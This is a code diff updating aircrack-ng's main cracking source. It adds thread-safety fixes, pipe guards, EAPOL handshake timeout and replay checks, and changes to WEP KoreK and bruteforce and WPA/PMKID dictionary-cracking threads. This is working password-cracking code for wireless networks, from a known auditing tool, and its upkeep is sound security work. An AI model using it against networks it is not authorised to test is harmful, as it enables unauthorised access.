-static volatile long long int nb_kprev; /* last  # of keys tried        */
-static volatile long long int nb_tried; /* total # of keys tried        */
+static volatile size_t nb_kprev; /* last  # of keys tried        */
+static volatile size_t nb_tried; /* total # of keys tried        */
 static ac_crypto_engine_t engine; /* crypto engine */
 static int first_wpa_threadid = 0;
 
@@ -143,8 +153,8 @@
 static pthread_mutex_t mx_dic; /* lock access to opt.dict      */
 static pthread_cond_t cv_eof; /* read EOF condition variable  */
 static int nb_eof = 0; /* # of threads who reached eof */
-static long nb_pkt = 0; /* # of packets read so far     */
-static long nb_prev_pkt = 0; /* # of packets read in prior pass */
+static volatile long nb_pkt = 0; /* # of packets read so far     */
+static volatile long nb_prev_pkt = 0; /* # of packets read in prior pass */
 static int mc_pipe2562; /* master->child control pipe   */
 static int cm_pipe2562; /* child->master results pipe   */
 static int bf_pipe2562; /* bruteforcer 'queue' pipe	 */
@@ -210,7 +220,7 @@
 
 static const char usage
 	= "\n"
-	  "  %s - (C) 2006-2020 Thomas d\'Otreppe\n"
+	  "  %s - (C) 2006-2022 Thomas d\'Otreppe\n"
 	  "  https://www.aircrack-ng.org\n"
 	  "\n"
 	  "  usage: aircrack-ng options <input file(s)>\n"
@@ -320,7 +330,7 @@
 
 	lseek(fd, 0, SEEK_SET);
 
-	while (read(fd, &hx, sizeof(hccapx_t)))
+	while (read(fd, &hx, sizeof(hccapx_t)) > 0)
 	{
 		nb_pkt++;
 		ap_cur = hccapx_to_ap(&hx);
@@ -363,11 +373,17 @@
 
 	destroy(ap->uiv_root, uniqueiv_wipe);
 
-	if (ap->ptw_clean) destroy(ap->ptw_clean->allsessions, free);
-	destroy(ap->ptw_clean, free);
+	if (ap->ptw_clean)
+	{
+		destroy(ap->ptw_clean->allsessions, free);
+		free(ap->ptw_clean);
+	}
 
-	if (ap->ptw_vague) destroy(ap->ptw_vague->allsessions, free);
-	destroy(ap->ptw_vague, free);
+	if (ap->ptw_vague)
+	{
+		destroy(ap->ptw_vague->allsessions, free);
+		free(ap->ptw_vague);
+	}
 }
 
 static void ac_aplist_free(void)
@@ -619,7 +635,7 @@
 	return (0);
 }
 
-static void clean_exit(int ret)
+static __attribute__((noinline)) void clean_exit(int ret)
 {
 	int i = 0;
 
@@ -643,21 +659,28 @@
 	if (opt.dict)
 	{
 		ALLEGE(fclose(opt.dict) == 0);
+		ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
 		opt.dict = NULL;
+		ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
 	}
 
 	for (i = 0; i < opt.nbcpu; i++)
 	{
 #ifndef CYGWIN
-		safe_write(mc_pipei1, (void *) "EXIT\r", 5);
-		safe_write(bf_pipei1, (void *) tmpbuf, 64);
+		if (mc_pipei1 != -1)
+			safe_write(mc_pipei1, (void *) "EXIT\r", 5);
+		if (bf_pipei1 != -1) safe_write(bf_pipei1, (void *) tmpbuf, 64);
 #endif
-		close(mc_pipei0);
-		close(mc_pipei1);
-		close(cm_pipei0);
-		close(cm_pipei1);
-		close(bf_pipei0);
-		close(bf_pipei1);
+		if (mc_pipei0 != -1) close(mc_pipei0);
+		if (mc_pipei1 != -1) close(mc_pipei1);
+		if (cm_pipei0 != -1) close(cm_pipei0);
+		if (cm_pipei1 != -1) close(cm_pipei1);
+		if (bf_pipei0 != -1) close(bf_pipei0);
+		if (bf_pipei1 != -1) close(bf_pipei1);
+
+		mc_pipei0 = mc_pipei1 = -1;
+		cm_pipei0 = cm_pipei1 = -1;
+		bf_pipei0 = bf_pipei1 = -1;
 	}
 
 	// Stop cracking session thread
@@ -729,6 +752,9 @@
 		ac_session_free(&cracking_session);
 	}
 
+	fflush(stdout);
+	fflush(stderr);
+
 	exit(EXIT_SUCCESS);
 }
 
@@ -796,7 +822,7 @@
 	{
 		int i;
 		int fincnt = 0;
-		off_t tmpword = 0;
+		size_t tmpword = 0;
 
 		for (i = 0; i < opt.totaldicts; i++)
 		{
@@ -808,14 +834,16 @@
 
 			if (opt.dictidxi.dictsize > READBUF_BLKSIZE)
 			{
-				if (pthread_mutex_trylock(&mx_dic) >= 0)
+				if (pthread_mutex_trylock(&mx_dic) == 0)
 				{
-					tmpword = (off_t) linecount(
-						opt.dictsi, opt.dictidxi.dictpos, 32);
+					tmpword = linecount(opt.dictsi,
+										opt.dictidxi.dictpos,
+										READBUF_MAX_BLOCKS);
 
 					opt.dictidxi.wordcount += tmpword;
 					opt.wordcount += tmpword;
-					opt.dictidxi.dictpos += (READBUF_BLKSIZE * 32);
+					opt.dictidxi.dictpos
+						+= (READBUF_BLKSIZE * READBUF_MAX_BLOCKS);
 
 					if (opt.dictidxi.dictpos >= opt.dictidxi.dictsize)
 						opt.dictidxi.loaded = 1;
@@ -954,7 +982,7 @@
 				free(frontlist);
 				return (-1);
 			}
-			getmac(tmp, 1, opt.firstbssid);
+			ALLEGE(getmac(tmp, 1, opt.firstbssid) == 0);
 			first = 0;
 		}
 
@@ -965,7 +993,7 @@
 	return (nbBSSID);
 }
 
-static void session_save_thread(void * arg)
+static THREAD_ENTRY(session_save_thread)
 {
 	UNUSED_PARAM(arg);
 
@@ -976,7 +1004,7 @@
 
 	if (!cracking_session || opt.stdin_dict)
 	{
-		return;
+		return (NULL);
 	}
 
 	// Start chrono
@@ -1022,6 +1050,8 @@
 		// Update amount of keys tried and save it
 		ac_session_save(cracking_session, (uint64_t) pos, nb_tried);
 	}
+
+	return (NULL);
 }
 
 static int mergebssids(const char * bssidlist, unsigned char * bssid)
@@ -1211,6 +1241,7 @@
 	}
 	else
 	{
+	tail_until_close:
 		do
 		{
 			if (may_read(fd))
@@ -1233,6 +1264,10 @@
 			rb->off1 += len;
 			return (1);
 		}
+		else
+		{
+			if (rb->tail) goto tail_until_close;
+		}
 	}
 
 	return (0);
@@ -1353,9 +1388,6 @@
 	switch (h802111 & IEEE80211_FC1_DIR_MASK)
 	{
 		case IEEE80211_FC1_DIR_NODS:
-			memcpy(stmac, h80211 + 10, ETHER_ADDR_LEN);
-			break;
-
 		case IEEE80211_FC1_DIR_TODS:
 			memcpy(stmac, h80211 + 10, ETHER_ADDR_LEN);
 			break;
@@ -1494,8 +1526,7 @@
 				data_len -= 6;
 			}
 
-			if (me->mode == PACKET_READER_READ_MODE)
-				calculate_wep_keystream(body, data_len, ap_cur, h80211);
+			calculate_wep_keystream(body, data_len, ap_cur, h80211);
 
 			return (0);
 		}
@@ -1555,30 +1586,56 @@
 		return (1);
 	}
 
-	uint64_t replay_counter
+	const uint64_t now_us = pkh->tv_sec * SECOND_TO_MICROSEC + pkh->tv_usec;
+	const uint64_t replay_counter
 		= be64_to_cpu(get_unaligned((uint64_t *) (&h80211z + 9)));
 
+	if (st_cur->wpa.timestamp_start_us > 0
+		&& subs_u64(now_us, st_cur->wpa.timestamp_start_us)
+			   > eapol_max_fourway_timeout)
+	{
+		fprintf(stderr, "Resetting EAPOL Handshake decoder state.\n");
+		memset(&st_cur->wpa, 0, sizeof(struct WPA_hdsk));
+	}
+
 	/* frame 1: Pairwise == 1, Install == 0, Ack == 1, MIC == 0 */
 
 	if ((h80211z + 6 & 0x08) != 0 && (h80211z + 6 & 0x40) == 0
 		&& (h80211z + 6 & 0x80) != 0
 		&& (h80211z + 5 & 0x01) == 0)
 	{
-		memcpy(st_cur->wpa.anonce, &h80211z + 17, sizeof(st_cur->wpa.anonce));
+		if (st_cur->wpa.timestamp_start_us == 0)
+		{
+			st_cur->wpa.timestamp_start_us = now_us;
+			st_cur->wpa.timestamp_last_us = now_us;
+		}
+		if (subs_u64(now_us, st_cur->wpa.timestamp_last_us)
+			> eapol_interframe_timeout)
+		{
+			// exceeds the inter-frame timeout period
+			memset(&st_cur->wpa, 0, sizeof(struct WPA_hdsk));
+			st_cur->wpa.timestamp_start_us = now_us;
+		}
+		// update last recv time.
+		st_cur->wpa.timestamp_last_us = now_us;
 
 		/* authenticator nonce set */
 		st_cur->wpa.state = 1;
+		memcpy(st_cur->wpa.anonce, &h80211z + 17, sizeof(st_cur->wpa.anonce));
 
 		st_cur->wpa.found |= 1 << 1;
 
 		st_cur->wpa.replay = replay_counter;
 
-		if (h80211z + 99 == 0xdd) // RSN
+		if (h80211z + 99 == IEEE80211_ELEMID_VENDOR)
 		{
-			if (h80211z + 101 == 0x00 && h80211z + 102 == 0x0f
-				&& h80211z + 103 == 0xac) // OUI: IEEE8021
+			const uint8_t rsn_oui = {
+				RSN_OUI & 0xff, (RSN_OUI >> 8) & 0xff, (RSN_OUI >> 16) & 0xff};
+
+			if (memcmp(rsn_oui, &h80211z + 101, 3) == 0
+				&& h80211z + 104 == RSN_CSE_CCMP)
 			{
-				if (h80211z + 104 == 0x04) // OUI SUBTYPE
+				if (memcmp(ZERO, &h80211z + 105, 16) != 0) //-V512
 				{
 					// Got a PMKID value?!
 					memcpy(st_cur->wpa.pmkid, &h80211z + 105, 16);
@@ -1594,9 +1651,38 @@
 
 	if ((h80211z + 6 & 0x08) != 0 && (h80211z + 6 & 0x40) == 0
 		&& (h80211z + 6 & 0x80) == 0
-		&& (h80211z + 5 & 0x01) != 0
-		&& st_cur->wpa.replay == replay_counter)
+		&& (h80211z + 5 & 0x01) != 0)
 	{
+		if (st_cur->wpa.timestamp_start_us == 0)
+		{
+			st_cur->wpa.timestamp_start_us = now_us;
+			st_cur->wpa.timestamp_last_us = now_us;
+		}
+		INVARIANT(now_us > 0);
+		INVARIANT(st_cur->wpa.timestamp_start_us != 0);
+		INVARIANT(st_cur->wpa.timestamp_last_us != 0);
+		if (subs_u64(now_us, st_cur->wpa.timestamp_last_us)
+			> eapol_interframe_timeout)
+		{
+			// exceeds the inter-frame timeout period
+			st_cur->wpa.found &= ~((1 << 4) | (1 << 2)); // unset M2 and M4
+			fprintf(stderr, "Inter-frame timeout period exceeded.\n");
+			return (1);
+		}
+		// update last recv time.
+		st_cur->wpa.timestamp_last_us = now_us;
+
+		if (st_cur->wpa.state == 0)
+		{
+			// no M1; so we store the M2 replay counter.
+			st_cur->wpa.replay = replay_counter;
+		}
+		else if (st_cur->wpa.replay != replay_counter)
+		{
+			// Bad replay counter value in message M2 or M4.
+			return (1);
+		}
+
 		if (memcmp(&h80211z + 17, ZERO, sizeof(st_cur->wpa.snonce)) != 0)
 		{
 			memcpy(st_cur->wpa.snonce,
@@ -1658,13 +1744,33 @@
 	}
 
 	/* frame 3: Pairwise == 1, Install == 1, Ack == 1, MIC == 1 */
+	/* M3's replay counter MUST be larger than M1/M2's. */
 
 	if ((h80211z + 6 & 0x08) != 0 && (h80211z + 6 & 0x40) != 0
 		&& (h80211z + 6 & 0x80) != 0
 		&& (h80211z + 5 & 0x01) != 0
-		&& st_cur->wpa.replay == replay_counter)
+		&& st_cur->wpa.replay < replay_counter)
 	{
+		if (st_cur->wpa.timestamp_start_us == 0)
+		{
+			st_cur->wpa.timestamp_start_us = now_us;
+			st_cur->wpa.timestamp_last_us = now_us;
+		}
+		INVARIANT(st_cur->wpa.timestamp_last_us != 0);
+		if (subs_u64(now_us, st_cur->wpa.timestamp_last_us)
+			> eapol_interframe_timeout)
+		{
+			// exceeds the inter-frame timeout period
+			st_cur->wpa.found &= ~(1 << 3); // unset M3
+			fprintf(stderr, "Inter-frame timeout period exceeded.\n");
+			return (1);
+		}
+		// update last recv time.
+		st_cur->wpa.timestamp_last_us = now_us;
+
 		st_cur->wpa.found |= 1 << 3;
+		// Store M3 for comparison with M4.
+		st_cur->wpa.replay = replay_counter;
 
 		if (memcmp(&h80211z + 17, ZERO, sizeof(st_cur->wpa.anonce)) != 0)
 		{
@@ -1780,8 +1886,6 @@
 				memcpy(bssid, h80211 + 4, ETHER_ADDR_LEN);
 				break; // ToDS
 			case IEEE80211_FC1_DIR_FROMDS:
-				memcpy(bssid, h80211 + 10, ETHER_ADDR_LEN);
-				break; // FromDS
 			case IEEE80211_FC1_DIR_DSTODS:
 				memcpy(bssid, h80211 + 10, ETHER_ADDR_LEN);
 				break; // WDS -> Transmitter taken as BSSID
@@ -1795,14 +1899,10 @@
 		switch (h802111 & IEEE80211_FC1_DIR_MASK)
 		{
 			case IEEE80211_FC1_DIR_NODS:
+			case IEEE80211_FC1_DIR_FROMDS:
 				memcpy(dest, h80211 + 4, ETHER_ADDR_LEN);
 				break; // Adhoc
 			case IEEE80211_FC1_DIR_TODS:
-				memcpy(dest, h80211 + 16, ETHER_ADDR_LEN);
-				break; // ToDS
-			case IEEE80211_FC1_DIR_FROMDS:
-				memcpy(dest, h80211 + 4, ETHER_ADDR_LEN);
-				break; // FromDS
 			case IEEE80211_FC1_DIR_DSTODS:
 				memcpy(dest, h80211 + 16, ETHER_ADDR_LEN);
 				break; // WDS -> Transmitter taken as BSSID
@@ -1932,7 +2032,7 @@
  * @param arg A heap allocated, filled in \a packet_reader_t structure.
  *            We handle releasing the memory upon function exit.
  */
-static void packet_reader_thread(void * arg)
+static THREAD_ENTRY(packet_reader_thread)
 {
 	REQUIRE(arg != NULL);
 
@@ -1960,9 +2060,11 @@
 
 	ALLEGE(signal(SIGINT, sighandler) != SIG_ERR);
 
-	rb.tail
-		= ((request->mode == PACKET_READER_READ_MODE && !opt.bssid_set) ? 1
-																		: 0);
+	rb.tail = (request->mode == PACKET_READER_CHECK_MODE
+			   || (request->mode == PACKET_READER_READ_MODE //-V560
+				   && (opt.essid_set || opt.bssid_set)))
+				  ? 0
+				  : 1;
 
 	if ((buffer = (unsigned char *) malloc(65536)) == NULL)
 	{
@@ -2210,7 +2312,7 @@
 		if (rv < 0)
 		{
 			// NOTE: An error occurred during processing, bail!
-			goto read_fail;
+			goto done_reading;
 		}
 
 		if (ap_cur != NULL)
@@ -2225,15 +2327,20 @@
 
 		if (request->mode == PACKET_READER_READ_MODE && nb_prev_pkt == nb_pkt)
 		{
+			ALLEGE(pthread_mutex_lock(&mx_eof) == 0);
 			pthread_cond_signal(&cv_eof);
+			ALLEGE(pthread_mutex_unlock(&mx_eof) == 0);
 		}
 	}
 
 done_reading:
 	++nb_eof;
-	pthread_cond_signal(&cv_eof);
 
 read_fail:
+	ALLEGE(pthread_mutex_lock(&mx_eof) == 0);
+	pthread_cond_signal(&cv_eof);
+	ALLEGE(pthread_mutex_unlock(&mx_eof) == 0);
+
 	destroy(buffer, free);
 	destroy(rb.buf1, free);
 	destroy(rb.buf2, free);
@@ -2241,11 +2348,14 @@
 	if (fd != -1) close(fd);
 
 	free(arg);
+
+	return (NULL);
 }
 
 /* timing routine */
 
-static inline float chrono(struct timeval * start, int reset)
+static __attribute__((always_inline)) float chrono(struct timeval * start,
+												   int reset)
 {
 	REQUIRE(start != NULL);
 
@@ -2266,9 +2376,9 @@
 
 static ssize_t safe_read(int fd, void * buf, size_t len)
 {
-	REQUIRE(fd >= 0);
 	REQUIRE(buf != NULL);
 	REQUIRE(len > 0);
+	if (fd < 0) return (-1);
 
 	ssize_t n;
 	size_t sum = 0;
@@ -2299,9 +2409,9 @@
 
 static ssize_t safe_write(int fd, void * buf, size_t len)
 {
-	REQUIRE(fd >= 0);
 	REQUIRE(buf != NULL);
 	REQUIRE(len > 0);
+	if (fd < 0) return (-1);
 
 	ssize_t n;
 	size_t sum = 0;
@@ -2324,10 +2434,10 @@
 
 /* each thread computes the votes over a subset of the IVs */
 
-static int crack_wep_thread(void * arg)
+static THREAD_ENTRY(crack_wep_thread)
 {
 	long xv, min, max;
-	unsigned char jj256;
+	unsigned char jj256 = {0};
 	unsigned char S256, Si256;
 	unsigned char K64;
 
@@ -2346,7 +2456,7 @@
 	{
 		if (safe_read(mc_pipecid0, (void *) &B, sizeof(int)) != sizeof(int))
 		{
-			return (FAILURE);
+			return ((void *) FAILURE); //-V566
 		}
 		if (close_aircrack) break;
 
@@ -2357,7 +2467,8 @@
 
 		q = (uint8_t)(3 + B);
 
-		memcpy(K + 3, wep.key, (size_t) B);
+		if (B > 0 && (size_t) B < sizeof(wep.key) - 3)
+			memcpy(K + 3, wep.key, (size_t) B);
 		memset(votes, 0, sizeof(votes));
 
 		/* START: KoreK attacks */
@@ -2377,8 +2488,12 @@
 
 			memcpy(K, &wep.ivbufxv, 3); //-V512
 
+			INVARIANT((size_t) q < sizeof(K));
 			for (i = j = 0; i < q; i++)
 			{
+				INVARIANT((size_t) i < sizeof(K));
+				INVARIANT((size_t) i < sizeof(S));
+
 				jji = (uint8_t)((j + Si + Ki) & 0xFF);
 				j = (j + Si + Ki) & 0xFF;
 				SWAP(Si, Sj);
@@ -2591,7 +2706,7 @@
 		}
 	}
 
-	return (0);
+	return ((void *) SUCCESS);
 }
 
 /* display the current votes */
@@ -2650,7 +2765,7 @@
 			   prod,
 			   opt.ap->nb_ivs);
 	else
-		printf("%02d:%02d:%02d Tested %lld keys (got %ld IVs)",
+		printf("%02d:%02d:%02d Tested %zd keys (got %ld IVs)",
 			   et_h,
 			   et_m,
 			   et_s,
@@ -3506,24 +3621,24 @@
 	return (FAILURE);
 }
 
-static int inner_bruteforcer_thread(void * arg)
+static THREAD_ENTRY(inner_bruteforcer_thread)
 {
 	int i, j, k, l;
 	size_t nthread = (size_t) arg;
 	unsigned char wepkey64;
-	int ret = 0;
+	void * ret = NULL;
 
 inner_bruteforcer_thread_start:
 
 	if (close_aircrack) return (ret);
 
-	if (wepkey_crack_success) return (SUCCESS);
+	if (wepkey_crack_success) return ((void *) SUCCESS);
 
 	/* we get the key for which we'll bruteforce the last 2 bytes from the pipe
 	 */
 	if (safe_read(bf_pipenthread0, (void *) wepkey, 64) != 64)
 	{
-		return (FAILURE);
+		return ((void *) FAILURE); //-V566
 	}
 
 	if (close_aircrack) return (ret);
@@ -3549,7 +3664,7 @@
 						wepkeyopt.brutebytes3 = (uint8_t) j;
 
 						if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
-							return (SUCCESS);
+							return ((void *) SUCCESS);
 					}
 				}
 			}
@@ -3570,7 +3685,7 @@
 					wepkeyopt.brutebytes2 = (uint8_t) j;
 
 					if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
-						return (SUCCESS);
+						return ((void *) SUCCESS);
 				}
 			}
 		}
@@ -3586,7 +3701,7 @@
 				wepkeyopt.brutebytes1 = (uint8_t) j;
 
 				if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
-					return (SUCCESS);
+					return ((void *) SUCCESS);
 			}
 		}
 	}
@@ -3597,7 +3712,7 @@
 			wepkeyopt.brutebytes0 = (uint8_t) j;
 
 			if (check_wep_key(wepkey, opt.keylen - 2, 0) == SUCCESS)
-				return (SUCCESS);
+				return ((void *) SUCCESS);
 		}
 	}
 
@@ -3623,9 +3738,9 @@
 	int et_s;
 	int i;
 	char tmpbuf28;
-	long long int remain;
-	long long int eta;
-	long long int cur_nb_kprev;
+	size_t remain;
+	size_t eta;
+	size_t cur_nb_kprev;
 
 	if (chrono(&t_stats, 0) < 0.15 && force == 0) return;
 
@@ -3681,36 +3796,35 @@
 	if (opt.stdin_dict)
 	{
 		moveto(20, 5);
-		printf("%02d:%02d:%02d %lld keys tested "
+		printf("%02d:%02d:%02d %zd keys tested "
 			   "(%2.2f k/s) ",
 			   et_h,
 			   et_m,
 			   et_s,
 			   nb_tried,
-			   (float) cur_nb_kprev / delta);
+			   ksec);
 	}
 	else
 	{
 		moveto(7, 4);
-		printf("%02d:%02d:%02d %lld/%lld keys tested "
+		printf("%02d:%02d:%02d %zd/%zd keys tested "
 			   "(%2.2f k/s) ",
 			   et_h,
 			   et_m,
 			   et_s,
 			   nb_tried,
 			   opt.wordcount,
-			   (float) cur_nb_kprev / delta);
+			   ksec);
 
 		moveto(7, 6);
 		printf("Time left: ");
 
 		calc = ((float) nb_tried / (float) opt.wordcount) * 100.0f;
 		remain = opt.wordcount - nb_tried;
-		long long int ll_ksec = (long long int) ksec;
 
-		if (remain > 0 && ll_ksec > 0)
+		if (remain > 0 && ksec > 0)
 		{
-			eta = (remain / ll_ksec);
+			eta = (remain / ksec);
 			calctime(eta, calc);
 		}
 		else
@@ -3909,7 +4023,6 @@
 	keyi = '\0';
 
 	// ensure only valid characters in byte sequence.
-	UNROLL_LOOP_N_TIME(8)
 	for (int j = 0; j < i; j++)
 		if (!isascii(keyj) || keyj < 32) i = 0;
 
@@ -3917,7 +4030,7 @@
 	return (i);
 }
 
-static int crack_wpa_thread(void * arg)
+static THREAD_ENTRY(crack_wpa_thread)
 {
 	REQUIRE(arg != NULL);
 
@@ -3929,7 +4042,7 @@
 	struct WPA_data * data;
 	struct AP_info * ap;
 	int threadid = 0;
-	int ret = 0;
+	void * ret = NULL;
 	int i;
 	int j;
 
@@ -3990,7 +4103,7 @@
 				}
 
 				i = calculate_passphrase_length(keysj.v);
-			} while (i < MIN_WPA_PASSPHRASE_LEN);
+			} while ((size_t) i < MIN_WPA_PASSPHRASE_LEN);
 
 			keysj.length = (uint32_t) i;
 #ifdef XDEBUG
@@ -4042,7 +4155,7 @@
 	return (ret);
 }
 
-static int crack_wpa_pmkid_thread(void * arg)
+static THREAD_ENTRY(crack_wpa_pmkid_thread)
 {
 	REQUIRE(arg != NULL);
 
@@ -4054,7 +4167,7 @@
 	struct WPA_data * data;
 	struct AP_info * ap;
 	int threadid = 0;
-	int ret = 0;
+	void * ret = NULL;
 	int i;
 	int j;
 	int nparallel = dso_ac_crypto_engine_simd_width();
@@ -4101,7 +4214,7 @@
 				}
 
 				i = calculate_passphrase_length(keysj.v);
-			} while (i < MIN_WPA_PASSPHRASE_LEN);
+			} while ((size_t) i < MIN_WPA_PASSPHRASE_LEN);
 
 			keysj.length = (uint32_t) i;
 #ifdef XDEBUG
@@ -4151,9 +4264,11 @@
  * nb: index of the dictionary
  * return 0 on success and FAILURE if it failed
  */
-static int next_dict(int nb)
+static __attribute__((noinline)) int next_dict(int nb)
 {
-	off_t tmpword = 0;
+	size_t tmpword = 0;
+
+	ALLEGE(nb >= 0);
 
 	ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
 	if (opt.dict != NULL)
@@ -4162,11 +4277,6 @@
 		opt.dict = NULL;
 	}
 	opt.nbdict = nb;
-	if (opt.dictsopt.nbdict == NULL)
-	{
-		ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
-		return (FAILURE);
-	}
 
 	while (opt.nbdict < MAX_DICTS && opt.dictsopt.nbdict != NULL)
 	{
@@ -4196,7 +4306,7 @@
 				continue;
 			}
 
-			ALLEGE(fseek(opt.dict, 0L, SEEK_END) != -1);
+			ALLEGE(fseeko(opt.dict, 0L, SEEK_END) != -1);
 
 			if (ftello(opt.dict) <= 0L)
 			{
@@ -4218,16 +4328,16 @@
 					|| (opt.dictidxopt.nbdict.dictpos
 						> opt.dictidxopt.nbdict.dictsize))
 				{
-					tmpword = (off_t) linecount(
-						opt.dictsopt.nbdict,
-						(opt.dictidxopt.nbdict.dictpos
-							 ? opt.dictidxopt.nbdict.dictpos
-							 : 0),
-						32);
+					tmpword = linecount(opt.dictsopt.nbdict,
+										(opt.dictidxopt.nbdict.dictpos
+											 ? opt.dictidxopt.nbdict.dictpos
+											 : 0),
+										READBUF_MAX_BLOCKS);
 
 					opt.dictidxopt.nbdict.wordcount += tmpword;
 					opt.wordcount += tmpword;
-					opt.dictidxopt.nbdict.dictpos = (READBUF_BLKSIZE * 32);
+					opt.dictidxopt.nbdict.dictpos
+						= (READBUF_BLKSIZE * READBUF_MAX_BLOCKS);
 				}
 			}
 
@@ -4336,7 +4446,8 @@
 }
 #endif
 
-static int display_wpa_hash_information(struct AP_info * ap_cur)
+static int __attribute__((noinline))
+display_wpa_hash_information(struct AP_info * ap_cur)
 {
 	unsigned i = 0;
 
@@ -4789,7 +4900,7 @@
 			// a. is not the pipeline shutdown sentinel.
 			// b. is at least 8 bytes and roughly UTF-8 compatible.
 			if (((uint8_t) key10 == 0xff && (uint8_t) key11 == 0xff)
-				|| calculate_passphrase_length((uint8_t *) key1)
+				|| (size_t) calculate_passphrase_length((uint8_t *) key1)
 					   < MIN_WPA_PASSPHRASE_LEN)
 			{
 				ALLEGE(pthread_mutex_lock(&mx_nb) == 0);
@@ -4877,7 +4988,8 @@
 
 			while (i < keysize && hex != NULL)
 			{
-				if (strlen(hex) > 2 || strlen(hex) == 0)
+				const size_t hex_len = strlen(hex);
+				if (hex_len == 0 || hex_len > 2)
 				{
 					rtn = 1;
 					break;
@@ -4952,7 +5064,9 @@
 		return (FAILURE);
 	}
 
+	ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
 	opt.dictfinish = opt.totaldicts = opt.nbdict = 0;
+	ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
 
 	// Use a temporary poptargs var because \a strsep trashes the value.
 	while ((opt.nbdict < MAX_DICTS)
@@ -4975,8 +5089,10 @@
 			return (FAILURE);
 		}
 
+		ALLEGE(pthread_mutex_lock(&mx_dic) == 0);
 		opt.nbdict++;
 		opt.totaldicts++;
+		ALLEGE(pthread_mutex_unlock(&mx_dic) == 0);
 	}
 	free(optargs);
 
@@ -5260,6 +5376,13 @@
 
 	int ret = FAILURE;
 	int j = 0;
+	struct winsize ws;
+
+	if (ioctl(0, TIOCGWINSZ, &ws) < 0)
+	{
+		ws.ws_row = 25;
+		ws.ws_col = 80;
+	}
 
 	/* Default key length: 128 bits */
 	if (opt.keylen == 0) opt.keylen = 13;
@@ -5306,6 +5429,19 @@
 								  - (ap_cur->nb_ivs_vague % PTW_TRY_STEP));
 		do
 		{
+			if (!opt.is_quiet)
+			{
+				char buf1024;
+				snprintf(buf,
+						 sizeof(buf),
+						 "Got %ld out of %d IVs",
+						 ap_cur->nb_ivs_vague,
+						 opt.next_ptw_try);
+				moveto((ws.ws_col - (int) strlen(buf)) / 2, 6);
+				fputs(buf, stdout);
+				erase_line(0);
+			}
+
 			if (ap_cur->nb_ivs_vague >= opt.next_ptw_try)
 			{
 				if (!opt.is_quiet)
@@ -5331,7 +5467,7 @@
 					printf("Failed. Next try with %d IVs.\n", opt.next_ptw_try);
 				}
 			}
-			if (ret) usleep(1000);
+			if (ret) usleep(8000);
 		} while (!close_aircrack && ret != 0);
 	}
 
@@ -5354,7 +5490,7 @@
 			{
 				if (pthread_create(&(tidid),
 								   NULL,
-								   (void *) inner_bruteforcer_thread,
+								   &inner_bruteforcer_thread,
 								   (void *) (long) i)
 					!= 0)
 				{
@@ -5364,10 +5500,8 @@
 				id++;
 			}
 
-			if (pthread_create(&(tidid),
-							   NULL,
-							   (void *) crack_wep_thread,
-							   (void *) (long) i)
+			if (pthread_create(
+					&(tidid), NULL, &crack_wep_thread, (void *) (long) i)
 				!= 0)
 			{
 				perror("pthread_create failed");
@@ -5575,9 +5709,9 @@
 
 			if (pthread_create(&(tidid),
 							   NULL,
-							   (void *) (ap_cur->wpa.state == 7
-											 ? crack_wpa_thread
-											 : crack_wpa_pmkid_thread),
+							   (ap_cur->wpa.state == 7
+									? &crack_wpa_thread
+									: &crack_wpa_pmkid_thread),
 							   (void *) &(wpa_datai))
 				!= 0)
 			{
@@ -5683,7 +5817,7 @@
 			if (opt.stdin_dict)
 			{
 				moveto(30, 5);
-				printf(" %lld\n", nb_tried);
+				printf(" %zd\n", nb_tried);
 			}
 			else
 			{
@@ -5729,16 +5863,25 @@
 				fflush(stdout);
 				looperc = (looperc + 1) % sizeof(looper);
 				sleep(1);
+				if (zErrMsg)
+				{
+					sqlite3_free(zErrMsg);
+					zErrMsg = NULL;
+				}
 			}
 			else
 			{
 				if (rc != SQLITE_OK && rc != SQLITE_ABORT)
 				{
 					fprintf(stderr, "SQL error: %s\n", zErrMsg);
-					sqlite3_free(zErrMsg);
 				}
 				if (waited != 0) printf("\n\n");
 				wpa_wordlists_done = 1;
+				if (zErrMsg)
+				{
+					sqlite3_free(zErrMsg);
+					zErrMsg = NULL;
+				}
 				break;
 			}
 		}
@@ -5775,6 +5918,10 @@
 	int old = 0;
 	char essidESSID_LENGTH + 1;
 	int restore_session = 0;
+#if defined(__i386__) || defined(__x86_64__) || defined(__arm__)               \
+	|| defined(__aarch64__)
+	int in_use_simdsize = 0;
+#endif
 	int nbarg = argc;
 	access_points = c_avl_create(station_compare);
 	targets = c_avl_create(station_compare);
@@ -5792,6 +5939,10 @@
 
 	rand_init();
 
+	memset(mc_pipe, -1, sizeof(mc_pipe));
+	memset(cm_pipe, -1, sizeof(cm_pipe));
+	memset(bf_pipe, -1, sizeof(bf_pipe));
+
 #if DYNAMIC
 	// Load the best available shared library, or the user specified one.
 	int simd_features = -1;
@@ -5904,7 +6055,8 @@
 		// Load argc/argv either from the cracking session or from arguments
 		option = getopt_long(
 			nbarg,
-			((restore_session) ? cracking_session->argv : argv),
+			((restore_session && cracking_session) ? cracking_session->argv
+												   : argv),
 			"r:a:e:b:p:qcthd:l:E:J:m:n:i:f:k:x::XysZ:w:0HKC:M:DP:zV1Suj:N:R:I:",
 			long_options,
 			&option_index);
@@ -5958,7 +6110,7 @@
 			case 'I':
 				_pmkid_16800 = 1;
 				memset((char *) _pmkid_16800_str, 0, sizeof(_pmkid_16800_str));
-				strncpy((char *) _pmkid_16800_str,
+				strlcpy((char *) _pmkid_16800_str,
 						optarg,
 						sizeof(_pmkid_16800_str));
 				break;
@@ -5973,10 +6125,6 @@
 				break;
 
 			case ':':
-
-				printf("\"%s --help\" for help.\n", argv0);
-				return (EXIT_FAILURE);
-
 			case '?':
 
 				printf("\"%s --help\" for help.\n", argv0);
@@ -5986,7 +6134,7 @@
 #if defined(__i386__) || defined(__x86_64__) || defined(__arm__)               \
 	|| defined(__aarch64__)
 				cpuid_getinfo();
-				int in_use_simdsize = dso_ac_crypto_engine_simd_width();
+				in_use_simdsize = dso_ac_crypto_engine_simd_width();
 				printf("SIMD size in use= %d ", in_use_simdsize);
 
 				if (in_use_simdsize == 1)
